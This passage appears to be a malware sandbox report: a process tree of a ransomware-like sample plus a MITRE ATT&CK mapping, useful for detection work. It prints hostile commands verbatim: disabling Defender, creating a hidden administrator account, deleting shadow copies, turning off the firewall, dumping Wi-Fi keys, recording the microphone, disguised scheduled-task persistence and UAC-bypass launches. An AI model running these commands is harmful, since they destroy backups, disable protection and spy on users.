        PID:6992
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:7136
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:6816
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:8100
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:9676
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980049796635.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10136
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:10896
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:9184
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:10180
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:13188
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:11700
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:12320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:3220
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:3348
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:2144
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:3948
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:5240
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:9692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980036768178.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9936
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:10132
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:10596
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:11060
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:11772
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:10920
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:11452

C:\Users\Admin\AppData\Local\tcpmon.exe
C:\Users\Admin\AppData\Local\tcpmon.exe
1⤵
PID:2968
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1376
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2c063a32-f8e5-481b-a29b-dea14d39c387.inf
  2⤵
  PID:3784
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:6056
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:5624
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:2904
- - C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
    "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
    3⤵
    PID:5400
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4704
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b33eb4c7-6393-41fd-a31c-04dc5888b789.inf
      4⤵
      PID:4692
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:5536
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:2960
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:5756
    - - C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        5⤵
        
        PID:1812
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7076
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\ecf388e5-bf4a-4048-a942-e43da7b9b895.inf
        6⤵
        
        PID:3480
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:6528
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:1084
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:6796
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        7⤵
        
        PID:7324
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7592
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\536b9205-75c8-4a5c-bc91-d9ad76a6b518.inf
        8⤵
        
        PID:7928
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:6640
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:7184
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:7196
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        9⤵
        
        PID:8604
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8304
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\c9ce1961-709a-4307-8b45-dba937e0020d.inf
        10⤵
        
        PID:8880
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:8804
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:8932
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:9192
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        11⤵
        
        PID:10020
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12116
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\db22829d-cc90-46dd-9328-7b83e770b460.inf
        12⤵
        
        PID:9696
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:12476
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:12712
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:12788
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        13⤵
        
        PID:12944
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14496
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d160b4cf-4a01-4c78-b8ef-771d9c5b0608.inf
        14⤵
        
        PID:14092
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:12068
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:10796
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:7132
        
        C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe"
        15⤵
        
        PID:8856
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtv.io_ransome.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11136
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\15d4537d-4c58-4ac7-82dc-1c21120c5730.inf
        16⤵
        
        PID:13720
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:8916
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:5420
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:13880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6096
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:8000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12336
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:11756
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:12104
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:8936
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:13688
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:13612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:12796
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:7212
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:12196
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:5336
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:13684
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:13072
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980747423531.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:15092
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        12⤵
        Interacts with shadow copies
        
        PID:344
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        12⤵
        
        PID:9680
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        12⤵
        
        PID:10776
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        12⤵
        Modifies Windows Firewall
        
        PID:7604
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9160
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:9424
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:10988
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:10076
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:8776
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:10792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980429198923.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13552
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9176
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        10⤵
        Interacts with shadow copies
        
        PID:14720
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        10⤵
        
        PID:12928
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        10⤵
        
        PID:6880
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        11⤵
        
        PID:15108
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        10⤵
        Modifies Windows Firewall
        
        PID:12976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6756
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:8592
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:5516
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:3192
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:8820
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:10464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980314792112.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12616
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2336
        
        C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        8⤵
        Interacts with shadow copies
        
        PID:14100
        
        C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        8⤵
        
        PID:14312
        
        C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        8⤵
        
        PID:12680
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        9⤵
        
        PID:8096
        
        C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        8⤵
        Modifies Windows Firewall
        
        PID:13624
        
        C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        8⤵
        Launches sc.exe
        
        PID:9624
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:3372
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:7268
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:7968
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:8124
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:7768
      - C:\Windows\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:8416
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980134986019.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11008
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11352
      - C:\Windows\System32\vssadmin.exe
        
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:11684
      - C:\Windows\System32\wbem\WMIC.exe
        
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        6⤵
        
        PID:12416
      - C:\Windows\System32\net.exe
        
        "C:\Windows\System32\net.exe" stop srservice
        6⤵
        
        PID:13064
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        7⤵
        
        PID:7436
      - C:\Windows\System32\netsh.exe
        
        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:5996
      - C:\Windows\System32\sc.exe
        
        "C:\Windows\System32\sc.exe" stop wuauserv
        6⤵
        Launches sc.exe
        
        PID:14560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:3012
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:6196
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:6968
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:7112
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:5612
  - - C:\Windows\notepad.exe
      "notepad.exe"
      4⤵
      PID:8032
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:9580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980034680415.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:9848
  - - C:\Windows\System32\vssadmin.exe
      "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:10124
  - - C:\Windows\System32\wbem\WMIC.exe
      "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
      4⤵
      PID:10148
  - - C:\Windows\System32\net.exe
      "C:\Windows\System32\net.exe" stop srservice
      4⤵
      PID:10684
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop srservice
        5⤵
        
        PID:10760
  - - C:\Windows\System32\netsh.exe
      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:2016
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      4⤵
      Launches sc.exe
      PID:3504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:4644
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:5960
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:3160
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:5616
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:4828
- C:\Windows\notepad.exe
  "notepad.exe"
  2⤵
  PID:3660
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:9668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639219980036524486.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9924
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:9304
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:10436
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  PID:11216
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:10320
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  PID:9168
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:7132

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:14280

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

